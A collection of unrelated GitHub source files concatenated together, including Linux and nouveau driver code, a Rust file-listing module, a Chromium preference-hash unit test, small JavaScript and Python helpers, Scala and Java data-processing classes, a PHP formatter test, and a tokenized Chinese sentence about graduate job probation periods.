static void ct_xfitimer_update(struct ct_timer *atimer)
{
unsigned long flags;
spin_lock_irqsave(&atimer->lock, flags);
if (atimer->irq_handling) {
/* reached from IRQ handler; let it handle later */
atimer->reprogram = 1;
spin_unlock_irqrestore(&atimer->lock, flags);
return;
}
ct_xfitimer_irq_stop(atimer);
ct_xfitimer_reprogram(atimer, 0);
spin_unlock_irqrestore(&atimer->lock, flags);
}
static void ct_xfitimer_start(struct ct_timer_instance *ti)
{
struct ct_timer *atimer = ti->timer_base;
unsigned long flags;
spin_lock_irqsave(&atimer->lock, flags);
if (list_empty(&ti->running_list))
atimer->wc = ct_xfitimer_get_wc(atimer);
ti->running = 1;
ti->need_update = 0;
list_add(&ti->running_list, &atimer->running_head);
spin_unlock_irqrestore(&atimer->lock, flags);
ct_xfitimer_update(atimer);
}
static void ct_xfitimer_stop(struct ct_timer_instance *ti)
{
struct ct_timer *atimer = ti->timer_base;
unsigned long flags;
spin_lock_irqsave(&atimer->lock, flags);
list_del_init(&ti->running_list);
ti->running = 0;
spin_unlock_irqrestore(&atimer->lock, flags);
ct_xfitimer_update(atimer);
}
static void ct_xfitimer_free_global(struct ct_timer *atimer)
{
ct_xfitimer_irq_stop(atimer);
}
static const struct ct_timer_ops ct_xfitimer_ops = {
.prepare = ct_xfitimer_prepare,
.start = ct_xfitimer_start,
.stop = ct_xfitimer_stop,
.interrupt = ct_xfitimer_callback,
.free_global = ct_xfitimer_free_global,
};
/*
* timer instance
*/
struct ct_timer_instance *
ct_timer_instance_new(struct ct_timer *atimer, struct ct_atc_pcm *apcm)
{
struct ct_timer_instance *ti;
ti = kzalloc(sizeof(*ti), GFP_KERNEL);
if (!ti)
return NULL;
spin_lock_init(&ti->lock);
INIT_LIST_HEAD(&ti->instance_list);
INIT_LIST_HEAD(&ti->running_list);
ti->timer_base = atimer;
ti->apcm = apcm;
ti->substream = apcm->substream;
if (atimer->ops->init)
atimer->ops->init(ti);
spin_lock_irq(&atimer->list_lock);
list_add(&ti->instance_list, &atimer->instance_head);
spin_unlock_irq(&atimer->list_lock);
return ti;
}
void ct_timer_prepare(struct ct_timer_instance *ti)
{
if (ti->timer_base->ops->prepare)
ti->timer_base->ops->prepare(ti);
ti->position = 0;
ti->running = 0;
}
void ct_timer_start(struct ct_timer_instance *ti)
{
struct ct_timer *atimer = ti->timer_base;
atimer->ops->start(ti);
}
void ct_timer_stop(struct ct_timer_instance *ti)
{
struct ct_timer *atimer = ti->timer_base;
atimer->ops->stop(ti);
}
void ct_timer_instance_free(struct ct_timer_instance *ti)
{
struct ct_timer *atimer = ti->timer_base;
atimer->ops->stop(ti); /* to be sure */
if (atimer->ops->free_instance)
atimer->ops->free_instance(ti);
spin_lock_irq(&atimer->list_lock);
list_del(&ti->instance_list);
spin_unlock_irq(&atimer->list_lock);
kfree(ti);
}
/*
* timer manager
*/
static void ct_timer_interrupt(void *data, unsigned int status)
{
struct ct_timer *timer = data;
/* Interval timer interrupt */
if ((status & IT_INT) && timer->ops->interrupt)
timer->ops->interrupt(timer);
}
struct ct_timer *ct_timer_new(struct ct_atc *atc)
{
struct ct_timer *atimer;
struct hw *hw;
atimer = kzalloc(sizeof(*atimer), GFP_KERNEL);
if (!atimer)
return NULL;
spin_lock_init(&atimer->lock);
spin_lock_init(&atimer->list_lock);
INIT_LIST_HEAD(&atimer->instance_head);
INIT_LIST_HEAD(&atimer->running_head);
atimer->atc = atc;
hw = atc->hw;
if (!use_system_timer && hw->set_timer_irq) {
dev_info(atc->card->dev, "Use xfi-native timer\n");
atimer->ops = &ct_xfitimer_ops;
hw->irq_callback_data = atimer;
hw->irq_callback = ct_timer_interrupt;
} else {
dev_info(atc->card->dev, "Use system timer\n");
atimer->ops = &ct_systimer_ops;
}
return atimer;
}
void ct_timer_free(struct ct_timer *atimer)
{
struct hw *hw = atimer->atc->hw;
hw->irq_callback = NULL;
if (atimer->ops->free_global)
atimer->ops->free_global(atimer);
kfree(atimer);
}
| {
"pile_set_name": "Github"
} |
mod date;
mod filetype;
mod indicator;
mod inode;
pub mod name;
mod owner;
mod permissions;
mod size;
mod symlink;
#[cfg(windows)]
mod windows_utils;
pub use self::date::Date;
pub use self::filetype::FileType;
pub use self::indicator::Indicator;
pub use self::inode::INode;
pub use self::name::Name;
pub use self::owner::Owner;
pub use self::permissions::Permissions;
pub use self::size::Size;
pub use self::symlink::SymLink;
pub use crate::flags::{Display, Flags, Layout};
pub use crate::icon::Icons;
use crate::print_error;
use std::fs::read_link;
use std::io::{Error, ErrorKind};
use std::path::{Component, Path, PathBuf};
#[derive(Clone, Debug)]
pub struct Meta {
pub name: Name,
pub path: PathBuf,
pub permissions: Permissions,
pub date: Date,
pub owner: Owner,
pub file_type: FileType,
pub size: Size,
pub symlink: SymLink,
pub indicator: Indicator,
pub inode: INode,
pub content: Option<Vec<Meta>>,
}
impl Meta {
pub fn recurse_into(
&self,
depth: usize,
flags: &Flags,
) -> Result<Option<Vec<Meta>>, std::io::Error> {
if depth == 0 {
return Ok(None);
}
if flags.display == Display::DisplayDirectoryItself {
return Ok(None);
}
match self.file_type {
FileType::Directory { .. } => (),
FileType::SymLink { is_dir: true } => {
if flags.layout == Layout::OneLine {
return Ok(None);
}
}
_ => return Ok(None),
}
let entries = match self.path.read_dir() {
Ok(entries) => entries,
Err(err) => {
print_error!("lsd: {}: {}\n", self.path.display(), err);
return Ok(None);
}
};
let mut content: Vec<Meta> = Vec::new();
if let Display::DisplayAll = flags.display {
let mut current_meta;
current_meta = self.clone();
current_meta.name.name = ".".to_owned();
let parent_meta =
Self::from_path(&self.path.join(Component::ParentDir), flags.dereference)?;
content.push(current_meta);
content.push(parent_meta);
}
for entry in entries {
let path = entry?.path();
let name = path
.file_name()
.ok_or_else(|| Error::new(ErrorKind::InvalidInput, "invalid file name"))?;
if flags.ignore_globs.is_match(&name) {
continue;
}
if let Display::DisplayOnlyVisible = flags.display {
if name.to_string_lossy().starts_with('.') {
continue;
}
}
let mut entry_meta = match Self::from_path(&path, flags.dereference) {
Ok(res) => res,
Err(err) => {
print_error!("lsd: {}: {}\n", path.display(), err);
continue;
}
};
match entry_meta.recurse_into(depth - 1, &flags) {
Ok(content) => entry_meta.content = content,
Err(err) => {
print_error!("lsd: {}: {}\n", path.display(), err);
continue;
}
};
content.push(entry_meta);
}
Ok(Some(content))
}
pub fn calculate_total_size(&mut self) {
if let FileType::Directory { .. } = self.file_type {
if let Some(metas) = &mut self.content {
let mut size_accumulated = self.size.get_bytes();
for x in &mut metas.iter_mut() {
x.calculate_total_size();
size_accumulated += x.size.get_bytes();
}
self.size = Size::new(size_accumulated);
} else {
// possibility that 'depth' limited the recursion in 'recurse_into'
self.size = Size::new(Meta::calculate_total_file_size(&self.path));
}
}
}
fn calculate_total_file_size(path: &PathBuf) -> u64 {
let metadata = if read_link(&path).is_ok() {
// If the file is a link, retrieve the metadata without following
// the link.
path.symlink_metadata()
} else {
path.metadata()
};
let metadata = match metadata {
Ok(meta) => meta,
Err(err) => {
print_error!("lsd: {}: {}\n", path.display(), err);
return 0;
}
};
let file_type = metadata.file_type();
if file_type.is_file() {
metadata.len()
} else if file_type.is_dir() {
let mut size = metadata.len();
let entries = match path.read_dir() {
Ok(entries) => entries,
Err(err) => {
print_error!("lsd: {}: {}\n", path.display(), err);
return size;
}
};
for entry in entries {
let path = match entry {
Ok(entry) => entry.path(),
Err(err) => {
print_error!("lsd: {}: {}\n", path.display(), err);
continue;
}
};
size += Meta::calculate_total_file_size(&path);
}
size
} else {
0
}
}
pub fn from_path(path: &Path, dereference: bool) -> Result<Self, std::io::Error> {
// If the file is a link then retrieve link metadata instead with target metadata (if present).
let (metadata, symlink_meta) = if read_link(path).is_ok() && !dereference {
(path.symlink_metadata()?, path.metadata().ok())
} else {
(path.metadata()?, None)
};
#[cfg(unix)]
let owner = Owner::from(&metadata);
#[cfg(unix)]
let permissions = Permissions::from(&metadata);
#[cfg(windows)]
let (owner, permissions) = windows_utils::get_file_data(&path)?;
let file_type = FileType::new(&metadata, symlink_meta.as_ref(), &permissions);
let name = Name::new(&path, file_type);
let inode = INode::from(&metadata);
Ok(Self {
inode,
path: path.to_path_buf(),
symlink: SymLink::from(path),
size: Size::from(&metadata),
date: Date::from(&metadata),
indicator: Indicator::from(file_type),
owner,
permissions,
name,
file_type,
content: None,
})
}
}
| {
"pile_set_name": "Github"
} |
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/prefs/pref_hash_calculator.h"
#include <string>
#include "base/memory/scoped_ptr.h"
#include "base/values.h"
#include "testing/gtest/include/gtest/gtest.h"
TEST(PrefHashCalculatorTest, TestCurrentAlgorithm) {
base::StringValue string_value_1("string value 1");
base::StringValue string_value_2("string value 2");
base::DictionaryValue dictionary_value_1;
dictionary_value_1.SetInteger("int value", 1);
dictionary_value_1.Set("nested empty map", new base::DictionaryValue);
base::DictionaryValue dictionary_value_1_equivalent;
dictionary_value_1_equivalent.SetInteger("int value", 1);
base::DictionaryValue dictionary_value_2;
dictionary_value_2.SetInteger("int value", 2);
PrefHashCalculator calc1("seed1", "deviceid");
PrefHashCalculator calc1_dup("seed1", "deviceid");
PrefHashCalculator calc2("seed2", "deviceid");
PrefHashCalculator calc3("seed1", "deviceid2");
// Two calculators with same seed produce same hash.
ASSERT_EQ(calc1.Calculate("pref_path", &string_value_1),
calc1_dup.Calculate("pref_path", &string_value_1));
ASSERT_EQ(PrefHashCalculator::VALID,
calc1_dup.Validate(
"pref_path",
&string_value_1,
calc1.Calculate("pref_path", &string_value_1)));
// Different seeds, different hashes.
ASSERT_NE(calc1.Calculate("pref_path", &string_value_1),
calc2.Calculate("pref_path", &string_value_1));
ASSERT_EQ(PrefHashCalculator::INVALID,
calc2.Validate(
"pref_path",
&string_value_1,
calc1.Calculate("pref_path", &string_value_1)));
// Different device IDs, different hashes.
ASSERT_NE(calc1.Calculate("pref_path", &string_value_1),
calc3.Calculate("pref_path", &string_value_1));
// Different values, different hashes.
ASSERT_NE(calc1.Calculate("pref_path", &string_value_1),
calc1.Calculate("pref_path", &string_value_2));
// Different paths, different hashes.
ASSERT_NE(calc1.Calculate("pref_path", &string_value_1),
calc1.Calculate("pref_path_2", &string_value_1));
// Works for dictionaries.
ASSERT_EQ(calc1.Calculate("pref_path", &dictionary_value_1),
calc1.Calculate("pref_path", &dictionary_value_1));
ASSERT_NE(calc1.Calculate("pref_path", &dictionary_value_1),
calc1.Calculate("pref_path", &dictionary_value_2));
// Empty dictionary children are pruned.
ASSERT_EQ(calc1.Calculate("pref_path", &dictionary_value_1),
calc1.Calculate("pref_path", &dictionary_value_1_equivalent));
// NULL value is supported.
ASSERT_FALSE(calc1.Calculate("pref_path", NULL).empty());
}
// Tests the output against a known value to catch unexpected algorithm changes.
// The test hashes below must NEVER be updated, the serialization algorithm used
// must always be able to generate data that will produce these exact hashes.
TEST(PrefHashCalculatorTest, CatchHashChanges) {
static const char kSeed[] = "0123456789ABCDEF0123456789ABCDEF";
static const char kDeviceId[] = "test_device_id1";
scoped_ptr<base::Value> null_value(base::Value::CreateNullValue());
scoped_ptr<base::Value> bool_value(base::Value::CreateBooleanValue(false));
scoped_ptr<base::Value> int_value(
base::Value::CreateIntegerValue(1234567890));
scoped_ptr<base::Value> double_value(
base::Value::CreateDoubleValue(123.0987654321));
scoped_ptr<base::Value> string_value(base::Value::CreateStringValue(
"testing with special chars:\n<>{}:^^@#$\\/"));
// For legacy reasons, we have to support pruning of empty lists/dictionaries
// and nested empty ists/dicts in the hash generation algorithm.
scoped_ptr<base::DictionaryValue> nested_empty_dict(
new base::DictionaryValue);
nested_empty_dict->Set("a", new base::DictionaryValue);
nested_empty_dict->Set("b", new base::ListValue);
scoped_ptr<base::ListValue> nested_empty_list(
new base::ListValue);
nested_empty_list->Append(new base::DictionaryValue);
nested_empty_list->Append(new base::ListValue);
nested_empty_list->Append(nested_empty_dict->DeepCopy());
// A dictionary with an empty dictionary, an empty list, and nested empty
// dictionaries/lists in it.
scoped_ptr<base::DictionaryValue> dict_value(new base::DictionaryValue);
dict_value->Set("a", new base::StringValue("foo"));
dict_value->Set("d", new base::ListValue);
dict_value->Set("b", new base::DictionaryValue);
dict_value->Set("c", new base::StringValue("baz"));
dict_value->Set("e", nested_empty_dict.release());
dict_value->Set("f", nested_empty_list.release());
scoped_ptr<base::ListValue> list_value(new base::ListValue);
list_value->AppendBoolean(true);
list_value->AppendInteger(100);
list_value->AppendDouble(1.0);
ASSERT_EQ(base::Value::TYPE_NULL, null_value->GetType());
ASSERT_EQ(base::Value::TYPE_BOOLEAN, bool_value->GetType());
ASSERT_EQ(base::Value::TYPE_INTEGER, int_value->GetType());
ASSERT_EQ(base::Value::TYPE_DOUBLE, double_value->GetType());
ASSERT_EQ(base::Value::TYPE_STRING, string_value->GetType());
ASSERT_EQ(base::Value::TYPE_DICTIONARY, dict_value->GetType());
ASSERT_EQ(base::Value::TYPE_LIST, list_value->GetType());
// Test every value type independently. Intentionally omits TYPE_BINARY which
// isn't even allowed in JSONWriter's input.
static const char kExpectedNullValue[] =
"C2871D0AC76176E39948C50A9A562B863E610FDA90C675A6A8AD16B4DC4F53DC";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", null_value.get(), kExpectedNullValue));
static const char kExpectedBooleanValue[] =
"A326E2F405CFE05D08289CDADD9DB4F529592F0945A8CE204289E4C930D8AA43";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", bool_value.get(), kExpectedBooleanValue));
static const char kExpectedIntegerValue[] =
"4B69938F802A2A26D69467F3E1E4A474F6323C64EFC54DBDB4A5708A7D005042";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", int_value.get(), kExpectedIntegerValue));
static const char kExpectedDoubleValue[] =
"1734C9C745B9C92D896B9A710994BF1B56D55BFB0F00C207EC995152AF02F08F";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", double_value.get(), kExpectedDoubleValue));
static const char kExpectedStringValue[] =
"154D15522C856AA944BFA5A9E3FFB46925BF2B95A10199564651CA1C13E98433";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", string_value.get(), kExpectedStringValue));
static const char kExpectedDictValue[] =
"597CECCBF930AF1FFABAC6AF3851C062867C134B4D5A06BDB3B03B988A182CBB";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", dict_value.get(), kExpectedDictValue));
static const char kExpectedListValue[] =
"4E2CC0A9B8DF8C5049C53E8B139007792EC6295239545BC99BBF9CDE8A2F5E30";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", list_value.get(), kExpectedListValue));
// Also test every value type together in the same dictionary.
base::DictionaryValue everything;
everything.Set("null", null_value.release());
everything.Set("bool", bool_value.release());
everything.Set("int", int_value.release());
everything.Set("double", double_value.release());
everything.Set("string", string_value.release());
everything.Set("list", list_value.release());
everything.Set("dict", dict_value.release());
static const char kExpectedEverythingValue[] =
"5A9D15E4D2FA909007EDE6A18605735E3EB712E2EDE83D6735CE5DD96A5AFBAA";
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(kSeed, kDeviceId).Validate(
"pref.path", &everything, kExpectedEverythingValue));
}
TEST(PrefHashCalculatorTest, TestCompatibilityWithPrefMetricsService) {
static const char kSeed[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
};
static const char kDeviceId[] =
"D730D9CBD98C734A4FB097A1922275FE9F7E026A4EA1BE0E84";
static const char kExpectedValue[] =
"845EF34663FF8D32BE6707F40258FBA531C2BFC532E3B014AFB3476115C2A9DE";
base::ListValue startup_urls;
startup_urls.Set(0, new base::StringValue("http://www.chromium.org/"));
EXPECT_EQ(PrefHashCalculator::VALID,
PrefHashCalculator(std::string(kSeed, arraysize(kSeed)), kDeviceId).
Validate("session.startup_urls", &startup_urls, kExpectedValue));
}
TEST(PrefHashCalculatorTest, TestLegacyAlgorithm) {
static const char kExpectedValue[] =
"C503FB7C65EEFD5C07185F616A0AA67923C069909933F362022B1F187E73E9A2";
static const char kDeviceId[] = "not_used";
base::DictionaryValue dict;
dict.Set("a", new base::StringValue("foo"));
dict.Set("d", new base::StringValue("bad"));
dict.Set("b", new base::StringValue("bar"));
dict.Set("c", new base::StringValue("baz"));
// 32 NULL bytes is the seed that was used to generate the legacy hash.
EXPECT_EQ(PrefHashCalculator::VALID_LEGACY,
PrefHashCalculator(std::string(32u, 0), kDeviceId).Validate(
"pref.path1", &dict, kExpectedValue));
}
| {
"pile_set_name": "Github"
} |
# Copyright 1999-2020 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from ... import opcodes as OperandDef
from ...utils import classproperty
from .core import DataFrameUnaryUfunc
class DataFrameLog2(DataFrameUnaryUfunc):
_op_type_ = OperandDef.LOG2
_func_name = 'log2'
@classproperty
def tensor_op_type(self):
from ...tensor.arithmetic import TensorLog2
return TensorLog2
| {
"pile_set_name": "Github"
} |
var $export = require('./_export');
var $parseFloat = require('./_parse-float');
// 20.1.2.12 Number.parseFloat(string)
$export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', { parseFloat: $parseFloat });
| {
"pile_set_name": "Github"
} |
/**
* Round value up with a custom radix.
*/
function ceil(val, step){
step = Math.abs(step || 1);
return Math.ceil(val / step) * step;
}
module.exports = ceil;
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2013 Red Hat Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
* Authors: Ben Skeggs
*/
#define mcp77_ram(p) container_of((p), struct mcp77_ram, base)
#include "ram.h"
struct mcp77_ram {
struct nvkm_ram base;
u64 poller_base;
};
static int
mcp77_ram_init(struct nvkm_ram *base)
{
struct mcp77_ram *ram = mcp77_ram(base);
struct nvkm_device *device = ram->base.fb->subdev.device;
u32 dniso = ((ram->base.size - (ram->poller_base + 0x00)) >> 5) - 1;
u32 hostnb = ((ram->base.size - (ram->poller_base + 0x20)) >> 5) - 1;
u32 flush = ((ram->base.size - (ram->poller_base + 0x40)) >> 5) - 1;
/* Enable NISO poller for various clients and set their associated
* read address, only for MCP77/78 and MCP79/7A. (fd#27501)
*/
nvkm_wr32(device, 0x100c18, dniso);
nvkm_mask(device, 0x100c14, 0x00000000, 0x00000001);
nvkm_wr32(device, 0x100c1c, hostnb);
nvkm_mask(device, 0x100c14, 0x00000000, 0x00000002);
nvkm_wr32(device, 0x100c24, flush);
nvkm_mask(device, 0x100c14, 0x00000000, 0x00010000);
return 0;
}
static const struct nvkm_ram_func
mcp77_ram_func = {
.init = mcp77_ram_init,
};
int
mcp77_ram_new(struct nvkm_fb *fb, struct nvkm_ram **pram)
{
struct nvkm_device *device = fb->subdev.device;
u32 rsvd_head = ( 256 * 1024); /* vga memory */
u32 rsvd_tail = (1024 * 1024) + 0x1000; /* vbios etc + poller mem */
u64 base = (u64)nvkm_rd32(device, 0x100e10) << 12;
u64 size = (u64)nvkm_rd32(device, 0x100e14) << 12;
struct mcp77_ram *ram;
int ret;
if (!(ram = kzalloc(sizeof(*ram), GFP_KERNEL)))
return -ENOMEM;
*pram = &ram->base;
ret = nvkm_ram_ctor(&mcp77_ram_func, fb, NVKM_RAM_TYPE_STOLEN,
size, &ram->base);
if (ret)
return ret;
ram->poller_base = size - rsvd_tail;
ram->base.stolen = base;
nvkm_mm_fini(&ram->base.vram);
return nvkm_mm_init(&ram->base.vram, NVKM_RAM_MM_NORMAL,
rsvd_head >> NVKM_RAM_MM_SHIFT,
(size - rsvd_head - rsvd_tail) >>
NVKM_RAM_MM_SHIFT, 1);
}
| {
"pile_set_name": "Github"
} |
--TEST--
Test formatting PHP within HTML tag code
--FILE--
<?php
$pageTitle = 'My Page Title';
?>
<html>
<body>
<table style="width: 100%;" border="0" cellpadding="2">
<tbody>
<tr>
<td align="left" width="60%">
<h1><?=$pageTitle ?> <br>
<font size="1" color="#8080FF">PHP Development Tools</font></h1>
</td>
</tr>
</tbody>
</table>
</body>
</html>
--EXPECT--
<?php
$pageTitle = 'My Page Title';
?>
<html>
<body>
<table style="width: 100%;" border="0" cellpadding="2">
<tbody>
<tr>
<td align="left" width="60%">
<h1><?=$pageTitle ?> <br> <font size="1" color="#8080FF">PHP
Development Tools</font>
</h1>
</td>
</tr>
</tbody>
</table>
</body>
</html> | {
"pile_set_name": "Github"
} |
/*
* Copyright 2010 Twitter, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License. You may obtain
* a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.twitter.flockdb
package shards
import com.twitter.gizzard.shards.RoutingNode
import com.twitter.util.Future
import com.twitter.util.Time
class ReadWriteShardAdapter(shard: RoutingNode[Shard]) extends Shard {
def selectIncludingArchived(sourceId: Long, count: Int, cursor: Cursor) = shard.read.futureAny { _.selectIncludingArchived(sourceId, count, cursor) }
def intersect(sourceId: Long, states: Seq[State], destinationIds: Seq[Long]) = shard.read.futureAny { _.intersect(sourceId, states, destinationIds) }
def intersectEdges(sourceId: Long, states: Seq[State], destinationIds: Seq[Long]) = shard.read.futureAny { _.intersectEdges(sourceId, states, destinationIds) }
def getMetadata(sourceId: Long) = shard.read.futureAny { _.getMetadata(sourceId) }
def getMetadataForWrite(sourceId: Long) = shard.read.futureAny { _.getMetadataForWrite(sourceId) }
def selectByDestinationId(sourceId: Long, states: Seq[State], count: Int, cursor: Cursor) = shard.read.futureAny { _.selectByDestinationId(sourceId, states, count, cursor) }
def selectByPosition(sourceId: Long, states: Seq[State], count: Int, cursor: Cursor) = shard.read.futureAny { _.selectByPosition(sourceId, states, count, cursor) }
def selectEdges(sourceId: Long, states: Seq[State], count: Int, cursor: Cursor) = shard.read.futureAny { _.selectEdges(sourceId, states, count, cursor) }
def selectAll(cursor: (Cursor, Cursor), count: Int) = shard.read.futureAny { _.selectAll(cursor, count) }
def selectAllMetadata(cursor: Cursor, count: Int) = shard.read.futureAny { _.selectAllMetadata(cursor, count) }
def get(sourceId: Long, destinationId: Long) = shard.read.futureAny { _.get(sourceId, destinationId) }
def count(sourceId: Long, states: Seq[State]) = shard.read.futureAny { _.count(sourceId, states) }
def bulkUnsafeInsertEdges(edges: Seq[Edge]) = Future.join(shard.write.fmap { _.bulkUnsafeInsertEdges(edges) })
def bulkUnsafeInsertMetadata(metadata: Seq[Metadata]) = Future.join(shard.write.fmap { _.bulkUnsafeInsertMetadata(metadata) })
def writeCopies(edges: Seq[Edge]) = Future.join(shard.write.fmap { _.writeCopies(edges) })
def writeMetadata(metadata: Metadata) = Future.join(shard.write.fmap { _.writeMetadata(metadata) })
def writeMetadatas(metadata: Seq[Metadata]) = Future.join(shard.write.fmap { _.writeMetadatas(metadata) })
def updateMetadata(metadata: Metadata) = Future.join(shard.write.fmap { _.updateMetadata(metadata) })
def remove(sourceId: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.remove(sourceId, updatedAt) })
def remove(sourceId: Long, destinationId: Long, position: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.remove(sourceId, destinationId, position, updatedAt) })
def add(sourceId: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.add(sourceId, updatedAt) })
def add(sourceId: Long, destinationId: Long, position: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.add(sourceId, destinationId, position, updatedAt) })
def negate(sourceId: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.negate(sourceId, updatedAt) })
def negate(sourceId: Long, destinationId: Long, position: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.negate(sourceId, destinationId, position, updatedAt) })
def archive(sourceId: Long, destinationId: Long, position: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.archive(sourceId, destinationId, position, updatedAt) })
def archive(sourceId: Long, updatedAt: Time) = Future.join(shard.write.fmap { _.archive(sourceId, updatedAt) })
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*
* Copyright 2017 Nextdoor.com, Inc
*
*/
package com.nextdoor.bender.operation;
import java.util.stream.Stream;
import org.apache.log4j.Logger;
import com.nextdoor.bender.InternalEvent;
import com.nextdoor.bender.monitoring.MonitoredProcess;
public class OperationProcessor extends MonitoredProcess {
private static final Logger logger = Logger.getLogger(OperationProcessor.class);
private BaseOperation op;
public OperationProcessor(OperationFactory operationFactory) {
super(operationFactory.getChildClass());
this.op = operationFactory.newInstance();
}
/**
* This method sets up an operation to be performed on a stream. It is important to note that
* counting, time keeping, and exception handling must be done within the map/flatmap action as
* this method itself does not evaluate records and is only called once per function invocation to
* setup the stream pipeline.
*
* @param input
* @return new stream with operation map/flatmap added
*/
public Stream<InternalEvent> perform(Stream<InternalEvent> input) {
Stream<InternalEvent> output = null;
if (this.op instanceof EventOperation) {
output = input.map(ievent -> {
this.getRuntimeStat().start();
try {
InternalEvent i = ((EventOperation) op).perform(ievent);
this.getSuccessCountStat().increment();
return i;
} catch (OperationException e) {
this.getErrorCountStat().increment();
logger.warn(e);
return null;
} finally {
this.getRuntimeStat().stop();
}
});
} else if (this.op instanceof MultiplexOperation) {
/*
* MultiplexOperations require the use of flatmap which allows a single stream item to produce
* multiple results.
*/
output = input.flatMap(ievent -> {
this.getRuntimeStat().start();
try {
Stream<InternalEvent> s = ((MultiplexOperation) op).perform(ievent).stream();
this.getSuccessCountStat().increment();
return s;
} catch (OperationException e) {
this.getErrorCountStat().increment();
logger.warn(e);
return Stream.empty();
} finally {
this.getRuntimeStat().stop();
}
});
} else if (this.op instanceof StreamOperation) {
StreamOperation forkOp = (StreamOperation) this.op;
output = forkOp.getOutputStream(input);
} else if (this.op instanceof FilterOperation) {
output = input.filter(ievent -> {
try {
return ((FilterOperation) this.op).test(ievent);
} catch (OperationException e) {
this.getErrorCountStat().increment();
logger.warn(e);
return false;
} finally {
this.getRuntimeStat().stop();
}
});
} else {
throw new OperationException("Invalid type of operation");
}
/*
* Filter out events if an operation did something that resulted in a null event or payload.
* This protects future operations from running on invalid data.
*/
return output.filter(ievent -> {
if (ievent == null) {
logger.warn(op.getClass().getName() + " produced a null InternalEvent");
return false;
}
if (ievent.getEventObj() == null) {
logger.warn(op.getClass().getName() + " produced a null DeserializedEvent");
return false;
}
if (ievent.getEventObj().getPayload() == null) {
logger.warn(op.getClass().getName() + " produced a null DeserializedEvent payload");
return false;
}
return true;
});
}
public BaseOperation getOperation() {
return this.op;
}
public void setOperation(EventOperation operation) {
this.op = operation;
}
}
| {
"pile_set_name": "Github"
} |
目前 用人 单位 试用 大学 毕业生 试金石 单位 故意 延长 试用期 试用 唤人 做法 经历 学生 叫苦不迭
